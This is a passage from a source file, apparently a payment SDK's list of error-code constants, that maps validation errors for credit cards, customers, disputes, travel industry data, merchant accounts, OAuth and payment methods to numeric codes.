AUTHORIZATION_FINGERPRINT_MISSING_FINGERPRINT = '93201'; const AUTHORIZATION_FINGERPRINT_OPTIONS_NOT_ALLOWED_WITHOUT_CUSTOMER = '93207'; const AUTHORIZATION_FINGERPRINT_SIGNATURE_REVOKED = '93203'; const CLIENT_TOKEN_CUSTOMER_DOES_NOT_EXIST = '92804'; const CLIENT_TOKEN_FAIL_ON_DUPLICATE_PAYMENT_METHOD_REQUIRES_CUSTOMER_ID = '92803'; const CLIENT_TOKEN_MAKE_DEFAULT_REQUIRES_CUSTOMER_ID = '92801'; const CLIENT_TOKEN_PROXY_MERCHANT_DOES_NOT_EXIST = '92805'; const CLIENT_TOKEN_UNSUPPORTED_VERSION = '92806'; const CLIENT_TOKEN_VERIFY_CARD_REQUIRES_CUSTOMER_ID = '92802'; const CLIENT_TOKEN_MERCHANT_ACCOUNT_DOES_NOT_EXIST = '92807'; const CREDIT_CARD_BILLING_ADDRESS_CONFLICT = '91701'; const CREDIT_CARD_BILLING_ADDRESS_FORMAT_IS_INVALID = '91744'; const CREDIT_CARD_BILLING_ADDRESS_ID_IS_INVALID = '91702'; const CREDIT_CARD_CANNOT_UPDATE_CARD_USING_PAYMENT_METHOD_NONCE = '91735'; const CREDIT_CARD_CARDHOLDER_NAME_IS_TOO_LONG = '81723'; const CREDIT_CARD_CREDIT_CARD_TYPE_IS_NOT_ACCEPTED = '81703'; const CREDIT_CARD_CREDIT_CARD_TYPE_IS_NOT_ACCEPTED_BY_SUBSCRIPTION_MERCHANT_ACCOUNT = '81718'; const CREDIT_CARD_CUSTOMER_ID_IS_INVALID = '91705'; const CREDIT_CARD_CUSTOMER_ID_IS_REQUIRED = '91704'; const CREDIT_CARD_CVV_IS_INVALID = '81707'; const CREDIT_CARD_CVV_IS_REQUIRED = '81706'; const CREDIT_CARD_CVV_VERIFICATION_FAILED = '81736'; const CREDIT_CARD_DUPLICATE_CARD_EXISTS = '81724'; const CREDIT_CARD_EXPIRATION_DATE_CONFLICT = '91708'; const CREDIT_CARD_EXPIRATION_DATE_IS_INVALID = '81710'; const CREDIT_CARD_EXPIRATION_DATE_IS_REQUIRED = '81709'; const CREDIT_CARD_EXPIRATION_DATE_YEAR_IS_INVALID = '81711'; const CREDIT_CARD_EXPIRATION_MONTH_IS_INVALID = '81712'; const CREDIT_CARD_EXPIRATION_YEAR_IS_INVALID = '81713'; const CREDIT_CARD_INVALID_PARAMS_FOR_CREDIT_CARD_UPDATE = '91745'; const CREDIT_CARD_INVALID_VENMO_SDK_PAYMENT_METHOD_CODE = '91727'; const CREDIT_CARD_NUMBER_INVALID_LENGTH = '81716'; const CREDIT_CARD_NUMBER_IS_INVALID = '81715'; const CREDIT_CARD_NUMBER_IS_PROHIBITED = '81750'; const CREDIT_CARD_NUMBER_IS_REQUIRED = '81714'; const CREDIT_CARD_NUMBER_LENGTH_IS_INVALID = '81716'; const CREDIT_CARD_NUMBER_MUST_BE_TEST_NUMBER = '81717'; const CREDIT_CARD_OPTIONS_UPDATE_EXISTING_TOKEN_IS_INVALID = '91723'; const CREDIT_CARD_OPTIONS_UPDATE_EXISTING_TOKEN_NOT_ALLOWED = '91729'; const CREDIT_CARD_OPTIONS_VERIFICATION_AMOUNT_CANNOT_BE_NEGATIVE = '91739'; const CREDIT_CARD_OPTIONS_VERIFICATION_AMOUNT_FORMAT_IS_INVALID = '91740'; const CREDIT_CARD_OPTIONS_VERIFICATION_AMOUNT_IS_TOO_LARGE = '91752'; const CREDIT_CARD_OPTIONS_VERIFICATION_AMOUNT_NOT_SUPPORTED_BY_PROCESSOR = '91741'; const CREDIT_CARD_OPTIONS_VERIFICATION_MERCHANT_ACCOUNT_ID_IS_INVALID = '91728'; const CREDIT_CARD_OPTIONS_VERIFICATION_MERCHANT_ACCOUNT_IS_FORBIDDEN = '91743'; const CREDIT_CARD_OPTIONS_VERIFICATION_MERCHANT_ACCOUNT_IS_SUSPENDED = '91742'; const CREDIT_CARD_OPTIONS_VERIFICATION_MERCHANT_ACCOUNT_CANNOT_BE_SUB_MERCHANT_ACCOUNT = '91755'; const CREDIT_CARD_OPTIONS_VERIFICATION_ACCOUNT_TYPE_IS_INVALID = '91757'; const CREDIT_CARD_OPTIONS_VERIFICATION_ACCOUNT_TYPE_NOT_SUPPORTED = '91758'; const CREDIT_CARD_PAYMENT_METHOD_CONFLICT = '81725'; const CREDIT_CARD_PAYMENT_METHOD_IS_NOT_A_CREDIT_CARD = '91738'; const CREDIT_CARD_PAYMENT_METHOD_NONCE_CARD_TYPE_IS_NOT_ACCEPTED = '91734'; const CREDIT_CARD_PAYMENT_METHOD_NONCE_CONSUMED = '91731'; const CREDIT_CARD_PAYMENT_METHOD_NONCE_LOCKED = '91733'; const CREDIT_CARD_PAYMENT_METHOD_NONCE_UNKNOWN = '91732'; const CREDIT_CARD_POSTAL_CODE_VERIFICATION_FAILED = '81737'; const CREDIT_CARD_TOKEN_FORMAT_IS_INVALID = '91718'; const CREDIT_CARD_TOKEN_INVALID = '91718'; const CREDIT_CARD_TOKEN_IS_IN_USE = '91719'; const CREDIT_CARD_TOKEN_IS_NOT_ALLOWED = '91721'; const CREDIT_CARD_TOKEN_IS_REQUIRED = '91722'; const CREDIT_CARD_TOKEN_IS_TOO_LONG = '91720'; const CREDIT_CARD_VENMO_SDK_PAYMENT_METHOD_CODE_CARD_TYPE_IS_NOT_ACCEPTED = '91726'; const CREDIT_CARD_VERIFICATION_NOT_SUPPORTED_ON_THIS_MERCHANT_ACCOUNT = '91730'; const CUSTOMER_COMPANY_IS_TOO_LONG = '81601'; const CUSTOMER_CUSTOM_FIELD_IS_INVALID = '91602'; const CUSTOMER_CUSTOM_FIELD_IS_TOO_LONG = '81603'; const CUSTOMER_EMAIL_FORMAT_IS_INVALID = '81604'; const CUSTOMER_EMAIL_IS_INVALID = '81604'; const CUSTOMER_EMAIL_IS_REQUIRED = '81606'; const CUSTOMER_EMAIL_IS_TOO_LONG = '81605'; const CUSTOMER_FAX_IS_TOO_LONG = '81607'; const CUSTOMER_FIRST_NAME_IS_TOO_LONG = '81608'; const CUSTOMER_ID_IS_INVAILD = '91610'; //Deprecated const CUSTOMER_ID_IS_INVALID = '91610'; const CUSTOMER_ID_IS_IN_USE = '91609'; const CUSTOMER_ID_IS_NOT_ALLOWED = '91611'; const CUSTOMER_ID_IS_REQUIRED = '91613'; const CUSTOMER_ID_IS_TOO_LONG = '91612'; const CUSTOMER_LAST_NAME_IS_TOO_LONG = '81613'; const CUSTOMER_PHONE_IS_TOO_LONG = '81614'; const CUSTOMER_VAULTED_PAYMENT_INSTRUMENT_NONCE_BELONGS_TO_DIFFERENT_CUSTOMER = '91617'; const CUSTOMER_WEBSITE_FORMAT_IS_INVALID = '81616'; const CUSTOMER_WEBSITE_IS_INVALID = '81616'; const CUSTOMER_WEBSITE_IS_TOO_LONG = '81615'; const DESCRIPTOR_NAME_FORMAT_IS_INVALID = '92201'; const DESCRIPTOR_PHONE_FORMAT_IS_INVALID = '92202'; const DESCRIPTOR_INTERNATIONAL_NAME_FORMAT_IS_INVALID = '92204'; const DESCRIPTOR_DYNAMIC_DESCRIPTORS_DISABLED = '92203'; const DESCRIPTOR_INTERNATIONAL_PHONE_FORMAT_IS_INVALID = '92205'; const DESCRIPTOR_URL_FORMAT_IS_INVALID = '92206'; const DISPUTE_CAN_ONLY_ADD_EVIDENCE_TO_OPEN_DISPUTE = '95701'; const DISPUTE_CAN_ONLY_REMOVE_EVIDENCE_FROM_OPEN_DISPUTE = '95702'; const DISPUTE_CAN_ONLY_ADD_EVIDENCE_TO_DISPUTE = '95703'; const DISPUTE_CAN_ONLY_ACCEPT_OPEN_DISPUTE = '95704'; const DISPUTE_CAN_ONLY_FINALIZE_OPEN_DISPUTE = '95705'; const DISPUTE_CAN_ONLY_CREATE_EVIDENCE_WITH_VALID_CATEGORY = '95706'; const DISPUTE_EVIDENCE_CONTENT_DATE_INVALID = '95707'; const DISPUTE_EVIDENCE_CONTENT_TOO_LONG = '95708'; const DISPUTE_EVIDENCE_CONTENT_ARN_TOO_LONG = '95709'; const DISPUTE_EVIDENCE_CONTENT_PHONE_TOO_LONG = '95710'; const DISPUTE_EVIDENCE_CATEGORY_TEXT_ONLY = '95711'; const DISPUTE_EVIDENCE_CATEGORY_DOCUMENT_ONLY = '95712'; const DISPUTE_EVIDENCE_CATEGORY_NOT_FOR_REASON_CODE = '95713'; const DISPUTE_EVIDENCE_CATEGORY_DUPLICATE = '95713'; const DISPUTE_EVIDENCE_CATEGORY_EMAIL_INVALID = '95713'; const DISPUTE_DIGITAL_GOODS_MISSING_EVIDENCE = '95720'; const DISPUTE_DIGITAL_GOODS_MISSING_DOWNLOAD_DATE = '95721'; const DISPUTE_PRIOR_NON_DISPUTED_TRANSACTION_MISSING_ARN = '95722'; const DISPUTE_PRIOR_NON_DISPUTED_TRANSACTION_MISSING_DATE = '95723'; const DISPUTE_RECURRING_TRANSACTION_MISSING_DATE = '95724'; const DISPUTE_RECURRING_TRANSACTION_MISSING_ARN = '95725'; const DISPUTE_VALID_EVIDENCE_REQUIRED_TO_FINALIZE = '95726'; const DOCUMENT_UPLOAD_KIND_IS_INVALID = '84901'; const DOCUMENT_UPLOAD_FILE_IS_TOO_LARGE = '84902'; const DOCUMENT_UPLOAD_FILE_TYPE_IS_INVALID = '84903'; const DOCUMENT_UPLOAD_FILE_IS_MALFORMED_OR_ENCRYPTED = '84904'; const DOCUMENT_UPLOAD_FILE_IS_TOO_LONG = '84905'; const FAILED_AUTH_ADJUSTMENT_ALLOW_RETRY = '95603'; const FAILED_AUTH_ADJUSTMENT_HARD_DECLINE = '95602'; const FINAL_AUTH_SUBMIT_FOR_SETTLEMENT_FOR_DIFFERENT_AMOUNT = '95601'; const INDUSTRY_DATA_LEG_TRAVEL_FLIGHT_ARRIVAL_AIRPORT_CODE_IS_TOO_LONG = '96301'; const INDUSTRY_DATA_LEG_TRAVEL_FLIGHT_ARRIVAL_TIME_FORMAT_IS_INVALID = '96302'; const INDUSTRY_DATA_LEG_TRAVEL_FLIGHT_CARRIER_CODE_IS_TOO_LONG = '96303'; const INDUSTRY_DATA_LEG_TRAVEL_FLIGHT_CONJUNCTION_TICKET_IS_TOO_LONG = '96304'; const INDUSTRY_DATA_LEG_TRAVEL_FLIGHT_COUPON_NUMBER_IS_TOO_LONG = '96305'; const INDUSTRY_DATA_LEG_TRAVEL_FLIGHT_DEPARTURE_AIRPORT_CODE_IS_TOO_LONG = '96306'; const INDUSTRY_DATA_LEG_TRAVEL_FLIGHT_DEPARTURE_TIME_FORMAT_IS_INVALID = '96307'; const INDUSTRY_DATA_LEG_TRAVEL_FLIGHT_EXCHANGE_TICKET_IS_TOO_LONG = '96308'; const INDUSTRY_DATA_LEG_TRAVEL_FLIGHT_FARE_AMOUNT_CANNOT_BE_NEGATIVE = '96309'; const INDUSTRY_DATA_LEG_TRAVEL_FLIGHT_FARE_AMOUNT_FORMAT_IS_INVALID = '96310'; const INDUSTRY_DATA_LEG_TRAVEL_FLIGHT_FARE_AMOUNT_IS_TOO_LARGE = '96311'; const INDUSTRY_DATA_LEG_TRAVEL_FLIGHT_FARE_BASIS_CODE_IS_TOO_LONG = '96312'; const INDUSTRY_DATA_LEG_TRAVEL_FLIGHT_FEE_AMOUNT_CANNOT_BE_NEGATIVE = '96313'; const INDUSTRY_DATA_LEG_TRAVEL_FLIGHT_FEE_AMOUNT_FORMAT_IS_INVALID = '96314'; const INDUSTRY_DATA_LEG_TRAVEL_FLIGHT_FEE_AMOUNT_IS_TOO_LARGE = '96315'; const INDUSTRY_DATA_LEG_TRAVEL_FLIGHT_SERVICE_CLASS_IS_TOO_LONG = '96316'; const INDUSTRY_DATA_LEG_TRAVEL_FLIGHT_TAX_AMOUNT_CANNOT_BE_NEGATIVE = '96317'; const INDUSTRY_DATA_LEG_TRAVEL_FLIGHT_TAX_AMOUNT_FORMAT_IS_INVALID = '96318'; const INDUSTRY_DATA_LEG_TRAVEL_FLIGHT_TAX_AMOUNT_IS_TOO_LARGE = '96319'; const INDUSTRY_DATA_LEG_TRAVEL_FLIGHT_TICKET_NUMBER_IS_TOO_LONG = '96320'; const INDUSTRY_DATA_INDUSTRY_TYPE_IS_INVALID = '93401'; const INDUSTRY_DATA_LODGING_EMPTY_DATA = '93402'; const INDUSTRY_DATA_LODGING_FOLIO_NUMBER_IS_INVALID = '93403'; const INDUSTRY_DATA_LODGING_CHECK_IN_DATE_IS_INVALID = '93404'; const INDUSTRY_DATA_LODGING_CHECK_OUT_DATE_IS_INVALID = '93405'; const INDUSTRY_DATA_LODGING_CHECK_OUT_DATE_MUST_FOLLOW_CHECK_IN_DATE = '93406'; const INDUSTRY_DATA_LODGING_UNKNOWN_DATA_FIELD = '93407'; const INDUSTRY_DATA_TRAVEL_CRUISE_EMPTY_DATA = '93408'; const INDUSTRY_DATA_TRAVEL_CRUISE_UNKNOWN_DATA_FIELD = '93409'; const INDUSTRY_DATA_TRAVEL_CRUISE_TRAVEL_PACKAGE_IS_INVALID = '93410'; const INDUSTRY_DATA_TRAVEL_CRUISE_DEPARTURE_DATE_IS_INVALID = '93411'; const INDUSTRY_DATA_TRAVEL_CRUISE_LODGING_CHECK_IN_DATE_IS_INVALID = '93412'; const INDUSTRY_DATA_TRAVEL_CRUISE_LODGING_CHECK_OUT_DATE_IS_INVALID = '93413'; const INDUSTRY_DATA_TRAVEL_FLIGHT_EMPTY_DATA = '93414'; const INDUSTRY_DATA_TRAVEL_FLIGHT_UNKNOWN_DATA_FIELD = '93415'; const INDUSTRY_DATA_TRAVEL_FLIGHT_CUSTOMER_CODE_IS_TOO_LONG = '93416'; const INDUSTRY_DATA_TRAVEL_FLIGHT_FARE_AMOUNT_CANNOT_BE_NEGATIVE = '93417'; const INDUSTRY_DATA_TRAVEL_FLIGHT_FARE_AMOUNT_FORMAT_IS_INVALID = '93418'; const INDUSTRY_DATA_TRAVEL_FLIGHT_FARE_AMOUNT_IS_TOO_LARGE = '93419'; const INDUSTRY_DATA_TRAVEL_FLIGHT_FEE_AMOUNT_CANNOT_BE_NEGATIVE = '93420'; const INDUSTRY_DATA_TRAVEL_FLIGHT_FEE_AMOUNT_FORMAT_IS_INVALID = '93421'; const INDUSTRY_DATA_TRAVEL_FLIGHT_FEE_AMOUNT_IS_TOO_LARGE = '93422'; const INDUSTRY_DATA_TRAVEL_FLIGHT_ISSUED_DATE_FORMAT_IS_INVALID = '93423'; const INDUSTRY_DATA_TRAVEL_FLIGHT_ISSUING_CARRIER_CODE_IS_TOO_LONG = '93424'; const INDUSTRY_DATA_TRAVEL_FLIGHT_PASSENGER_MIDDLE_INITIAL_IS_TOO_LONG = '93425'; const INDUSTRY_DATA_TRAVEL_FLIGHT_RESTRICTED_TICKET_IS_REQUIRED = '93426'; const INDUSTRY_DATA_TRAVEL_FLIGHT_TAX_AMOUNT_CANNOT_BE_NEGATIVE = '93427'; const INDUSTRY_DATA_TRAVEL_FLIGHT_TAX_AMOUNT_FORMAT_IS_INVALID = '93428'; const INDUSTRY_DATA_TRAVEL_FLIGHT_TAX_AMOUNT_IS_TOO_LARGE = '93429'; const INDUSTRY_DATA_TRAVEL_FLIGHT_TICKET_NUMBER_IS_TOO_LONG = '93430'; const INDUSTRY_DATA_TRAVEL_FLIGHT_LEGS_EXPECTED = '93431'; const INDUSTRY_DATA_TRAVEL_FLIGHT_TOO_MANY_LEGS = '93432'; const TRANSACTION_LINE_ITEM_COMMODITY_CODE_IS_TOO_LONG = '95801'; const TRANSACTION_LINE_ITEM_DESCRIPTION_IS_TOO_LONG = '95803'; const TRANSACTION_LINE_ITEM_DISCOUNT_AMOUNT_FORMAT_IS_INVALID = '95804'; const TRANSACTION_LINE_ITEM_DISCOUNT_AMOUNT_IS_TOO_LARGE = '95805'; const TRANSACTION_LINE_ITEM_DISCOUNT_AMOUNT_MUST_BE_GREATER_THAN_ZERO = '95806'; // Deprecated as the amount may be zero. Use TRANSACTION_LINE_ITEM_DISCOUNT_AMOUNT_CANNOT_BE_ZERO. const TRANSACTION_LINE_ITEM_DISCOUNT_AMOUNT_CANNOT_BE_NEGATIVE = '95806'; const TRANSACTION_LINE_ITEM_KIND_IS_INVALID = '95807'; const TRANSACTION_LINE_ITEM_KIND_IS_REQUIRED = '95808'; const TRANSACTION_LINE_ITEM_NAME_IS_REQUIRED = '95822'; const TRANSACTION_LINE_ITEM_NAME_IS_TOO_LONG = '95823'; const TRANSACTION_LINE_ITEM_PRODUCT_CODE_IS_TOO_LONG = '95809'; const TRANSACTION_LINE_ITEM_QUANTITY_FORMAT_IS_INVALID = '95810'; const TRANSACTION_LINE_ITEM_QUANTITY_IS_REQUIRED = '95811'; const TRANSACTION_LINE_ITEM_QUANTITY_IS_TOO_LARGE = '95812'; const TRANSACTION_LINE_ITEM_TOTAL_AMOUNT_FORMAT_IS_INVALID = '95813'; const TRANSACTION_LINE_ITEM_TOTAL_AMOUNT_IS_REQUIRED = '95814'; const TRANSACTION_LINE_ITEM_TOTAL_AMOUNT_IS_TOO_LARGE = '95815'; const TRANSACTION_LINE_ITEM_TOTAL_AMOUNT_MUST_BE_GREATER_THAN_ZERO = '95816'; const TRANSACTION_LINE_ITEM_UNIT_AMOUNT_FORMAT_IS_INVALID = '95817'; const TRANSACTION_LINE_ITEM_UNIT_AMOUNT_IS_REQUIRED = '95818'; const TRANSACTION_LINE_ITEM_UNIT_AMOUNT_IS_TOO_LARGE = '95819'; const TRANSACTION_LINE_ITEM_UNIT_AMOUNT_MUST_BE_GREATER_THAN_ZERO = '95820'; const TRANSACTION_LINE_ITEM_UNIT_OF_MEASURE_IS_TOO_LONG = '95821'; const TRANSACTION_LINE_ITEM_UNIT_TAX_AMOUNT_FORMAT_IS_INVALID = '95824'; const TRANSACTION_LINE_ITEM_UNIT_TAX_AMOUNT_IS_TOO_LARGE = '95825'; const TRANSACTION_LINE_ITEM_UNIT_TAX_AMOUNT_MUST_BE_GREATER_THAN_ZERO = '95826'; // Deprecated as the amount may be zero. Use TRANSACTION_LINE_ITEM_UNIT_TAX_AMOUNT_CANNOT_BE_ZERO. const TRANSACTION_LINE_ITEM_UNIT_TAX_AMOUNT_CANNOT_BE_NEGATIVE = '95826'; const TRANSACTION_LINE_ITEM_TAX_AMOUNT_FORMAT_IS_INVALID = '95827'; const TRANSACTION_LINE_ITEM_TAX_AMOUNT_IS_TOO_LARGE = '95828'; const TRANSACTION_LINE_ITEM_TAX_AMOUNT_CANNOT_BE_NEGATIVE = '95829'; const TRANSACTION_EXTERNAL_VAULT_STATUS_IS_INVALID = '915175'; const TRANSACTION_EXTERNAL_VAULT_STATUS_WITH_PREVIOUS_NETWORK_TRANSACTION_ID_IS_INVALID = '915177'; const TRANSACTION_EXTERNAL_VAULT_CARD_TYPE_IS_INVALID = '915178'; const TRANSACTION_EXTERNAL_VAULT_PREVIOUS_NETWORK_TRANSACTION_ID_IS_INVALID = '915179'; const MERCHANT_COUNTRY_CANNOT_BE_BLANK = '83603'; const MERCHANT_COUNTRY_CODE_ALPHA2_IS_INVALID = '93607'; const MERCHANT_COUNTRY_CODE_ALPHA2_IS_NOT_ACCEPTED = '93606'; const MERCHANT_COUNTRY_CODE_ALPHA3_IS_INVALID = '93605'; const MERCHANT_COUNTRY_CODE_ALPHA3_IS_NOT_ACCEPTED = '93604'; const MERCHANT_COUNTRY_CODE_NUMERIC_IS_INVALID = '93609'; const MERCHANT_COUNTRY_CODE_NUMERIC_IS_NOT_ACCEPTED = '93608'; const MERCHANT_COUNTRY_NAME_IS_INVALID = '93611'; const MERCHANT_COUNTRY_NAME_IS_NOT_ACCEPTED = '93610'; const MERCHANT_CURRENCIES_ARE_INVALID = '93614'; const MERCHANT_EMAIL_FORMAT_IS_INVALID = '93602'; const MERCHANT_EMAIL_IS_REQUIRED = '83601'; const MERCHANT_INCONSISTENT_COUNTRY = '93612'; const MERCHANT_ACCOUNT_PAYMENT_METHODS_ARE_INVALID = '93613'; const MERCHANT_PAYMENT_METHODS_ARE_NOT_ALLOWED = '93615'; const MERCHANT_MERCHANT_ACCOUNT_EXISTS_FOR_CURRENCY = '93616'; const MERCHANT_CURRENCY_IS_REQUIRED = '93617'; const MERCHANT_CURRENCY_IS_INVALID = '93618'; const MERCHANT_NO_MERCHANT_ACCOUNTS = '93619'; const MERCHANT_MERCHANT_ACCOUNT_EXISTS_FOR_ID = '93620'; const MERCHANT_MERCHANT_ACCOUNT_NOT_AUTH_ONBOARDED = '93621'; const MERCHANT_ACCOUNT_ID_FORMAT_IS_INVALID = '82603'; const MERCHANT_ACCOUNT_ID_IS_IN_USE = '82604'; const MERCHANT_ACCOUNT_ID_IS_NOT_ALLOWED = '82605'; const MERCHANT_ACCOUNT_ID_IS_TOO_LONG = '82602'; const MERCHANT_ACCOUNT_MASTER_MERCHANT_ACCOUNT_ID_IS_INVALID = '82607'; const MERCHANT_ACCOUNT_MASTER_MERCHANT_ACCOUNT_ID_IS_REQUIRED = '82606'; const MERCHANT_ACCOUNT_MASTER_MERCHANT_ACCOUNT_MUST_BE_ACTIVE = '82608'; const MERCHANT_ACCOUNT_TOS_ACCEPTED_IS_REQUIRED = '82610'; const MERCHANT_ACCOUNT_CANNOT_BE_UPDATED = '82674'; const MERCHANT_ACCOUNT_DECLINED = '82626'; const MERCHANT_ACCOUNT_DECLINED_MASTER_CARD_MATCH = '82622'; const MERCHANT_ACCOUNT_DECLINED_OFAC = '82621'; const MERCHANT_ACCOUNT_DECLINED_FAILED_KYC = '82623'; const MERCHANT_ACCOUNT_DECLINED_SSN_INVALID = '82624'; const MERCHANT_ACCOUNT_DECLINED_SSN_MATCHES_DECEASED = '82625'; const MERCHANT_ACCOUNT_ID_CANNOT_BE_UPDATED = '82675'; const MERCHANT_ACCOUNT_MASTER_MERCHANT_ACCOUNT_ID_CANNOT_BE_UPDATED = '82676'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_ACCOUNT_NUMBER_IS_REQUIRED = '82614'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_COMPANY_NAME_IS_INVALID = '82631'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_COMPANY_NAME_IS_REQUIRED_WITH_TAX_ID = '82633'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_DATE_OF_BIRTH_IS_REQUIRED = '82612'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_DECLINED = '82626'; // Keep for backwards compatibility const MERCHANT_ACCOUNT_APPLICANT_DETAILS_DECLINED_MASTER_CARD_MATCH = '82622'; // Keep for backwards compatibility const MERCHANT_ACCOUNT_APPLICANT_DETAILS_DECLINED_OFAC = '82621'; // Keep for backwards compatibility const MERCHANT_ACCOUNT_APPLICANT_DETAILS_DECLINED_FAILED_KYC = '82623'; // Keep for backwards compatibility const MERCHANT_ACCOUNT_APPLICANT_DETAILS_DECLINED_SSN_INVALID = '82624'; // Keep for backwards compatibility const MERCHANT_ACCOUNT_APPLICANT_DETAILS_DECLINED_SSN_MATCHES_DECEASED = '82625'; // Keep for backwards compatibility const MERCHANT_ACCOUNT_APPLICANT_DETAILS_EMAIL_ADDRESS_IS_INVALID = '82616'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_FIRST_NAME_IS_INVALID = '82627'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_FIRST_NAME_IS_REQUIRED = '82609'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_LAST_NAME_IS_INVALID = '82628'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_LAST_NAME_IS_REQUIRED = '82611'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_PHONE_IS_INVALID = '82636'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_ROUTING_NUMBER_IS_INVALID = '82635'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_ROUTING_NUMBER_IS_REQUIRED = '82613'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_SSN_IS_INVALID = '82615'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_TAX_ID_IS_INVALID = '82632'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_TAX_ID_IS_REQUIRED_WITH_COMPANY_NAME = '82634'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_DATE_OF_BIRTH_IS_INVALID = '82663'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_ADDRESS_REGION_IS_INVALID = '82664'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_EMAIL_ADDRESS_IS_REQUIRED = '82665'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_ACCOUNT_NUMBER_IS_INVALID = '82670'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_TAX_ID_MUST_BE_BLANK = '82673'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_ADDRESS_LOCALITY_IS_REQUIRED = '82618'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_ADDRESS_POSTAL_CODE_IS_INVALID = '82630'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_ADDRESS_POSTAL_CODE_IS_REQUIRED = '82619'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_ADDRESS_REGION_IS_REQUIRED = '82620'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_ADDRESS_STREET_ADDRESS_IS_INVALID = '82629'; const MERCHANT_ACCOUNT_APPLICANT_DETAILS_ADDRESS_STREET_ADDRESS_IS_REQUIRED = '82617'; const MERCHANT_ACCOUNT_BUSINESS_DBA_NAME_IS_INVALID = '82646'; const MERCHANT_ACCOUNT_BUSINESS_TAX_ID_IS_INVALID = '82647'; const MERCHANT_ACCOUNT_BUSINESS_TAX_ID_IS_REQUIRED_WITH_LEGAL_NAME = '82648'; const MERCHANT_ACCOUNT_BUSINESS_LEGAL_NAME_IS_REQUIRED_WITH_TAX_ID = '82669'; const MERCHANT_ACCOUNT_BUSINESS_TAX_ID_MUST_BE_BLANK = '82672'; const MERCHANT_ACCOUNT_BUSINESS_LEGAL_NAME_IS_INVALID = '82677'; const MERCHANT_ACCOUNT_BUSINESS_ADDRESS_REGION_IS_INVALID = '82684'; const MERCHANT_ACCOUNT_BUSINESS_ADDRESS_STREET_ADDRESS_IS_INVALID = '82685'; const MERCHANT_ACCOUNT_BUSINESS_ADDRESS_POSTAL_CODE_IS_INVALID = '82686'; const MERCHANT_ACCOUNT_INDIVIDUAL_FIRST_NAME_IS_REQUIRED = '82637'; const MERCHANT_ACCOUNT_INDIVIDUAL_LAST_NAME_IS_REQUIRED = '82638'; const MERCHANT_ACCOUNT_INDIVIDUAL_DATE_OF_BIRTH_IS_REQUIRED = '82639'; const MERCHANT_ACCOUNT_INDIVIDUAL_SSN_IS_INVALID = '82642'; const MERCHANT_ACCOUNT_INDIVIDUAL_EMAIL_IS_INVALID = '82643'; const MERCHANT_ACCOUNT_INDIVIDUAL_FIRST_NAME_IS_INVALID = '82644'; const MERCHANT_ACCOUNT_INDIVIDUAL_LAST_NAME_IS_INVALID = '82645'; const MERCHANT_ACCOUNT_INDIVIDUAL_PHONE_IS_INVALID = '82656'; const MERCHANT_ACCOUNT_INDIVIDUAL_DATE_OF_BIRTH_IS_INVALID = '82666'; const MERCHANT_ACCOUNT_INDIVIDUAL_EMAIL_IS_REQUIRED = '82667'; const MERCHANT_ACCOUNT_INDIVIDUAL_ADDRESS_STREET_ADDRESS_IS_REQUIRED = '82657'; const MERCHANT_ACCOUNT_INDIVIDUAL_ADDRESS_LOCALITY_IS_REQUIRED = '82658'; const MERCHANT_ACCOUNT_INDIVIDUAL_ADDRESS_POSTAL_CODE_IS_REQUIRED = '82659'; const MERCHANT_ACCOUNT_INDIVIDUAL_ADDRESS_REGION_IS_REQUIRED = '82660'; const MERCHANT_ACCOUNT_INDIVIDUAL_ADDRESS_STREET_ADDRESS_IS_INVALID = '82661'; const MERCHANT_ACCOUNT_INDIVIDUAL_ADDRESS_POSTAL_CODE_IS_INVALID = '82662'; const MERCHANT_ACCOUNT_INDIVIDUAL_ADDRESS_REGION_IS_INVALID = '82668'; const MERCHANT_ACCOUNT_FUNDING_ROUTING_NUMBER_IS_REQUIRED = '82640'; const MERCHANT_ACCOUNT_FUNDING_ACCOUNT_NUMBER_IS_REQUIRED = '82641'; const MERCHANT_ACCOUNT_FUNDING_ROUTING_NUMBER_IS_INVALID = '82649'; const MERCHANT_ACCOUNT_FUNDING_ACCOUNT_NUMBER_IS_INVALID = '82671'; const MERCHANT_ACCOUNT_FUNDING_DESTINATION_IS_REQUIRED = '82678'; const MERCHANT_ACCOUNT_FUNDING_DESTINATION_IS_INVALID = '82679'; const MERCHANT_ACCOUNT_FUNDING_EMAIL_IS_REQUIRED = '82680'; const MERCHANT_ACCOUNT_FUNDING_EMAIL_IS_INVALID = '82681'; const MERCHANT_ACCOUNT_FUNDING_MOBILE_PHONE_IS_REQUIRED = '82682'; const MERCHANT_ACCOUNT_FUNDING_MOBILE_PHONE_IS_INVALID = '82683'; const OAUTH_INVALID_GRANT = '93801'; const OAUTH_INVALID_CREDENTIALS = '93802'; const OAUTH_INVALID_SCOPE = '93803'; const OAUTH_INVALID_REQUEST = '93804'; const OAUTH_UNSUPPORTED_GRANT_TYPE = '93805'; const PAYMENT_METHOD_CANNOT_FORWARD_PAYMENT_METHOD_TYPE = '93106'; const PAYMENT_METHOD_CUSTOMER_ID_IS_INVALID = '93105'; const PAYMENT_METHOD_CUSTOMER_ID_IS_REQUIRED = '93104'; const PAYMENT_METHOD_NONCE_IS_INVALID = '93102'; const PAYMENT_METHOD_NONCE_IS_REQUIRED = '93103'; const PAYMENT_METHOD_PAYMENT_METHOD_NONCE_CONSUMED = '93107'; const 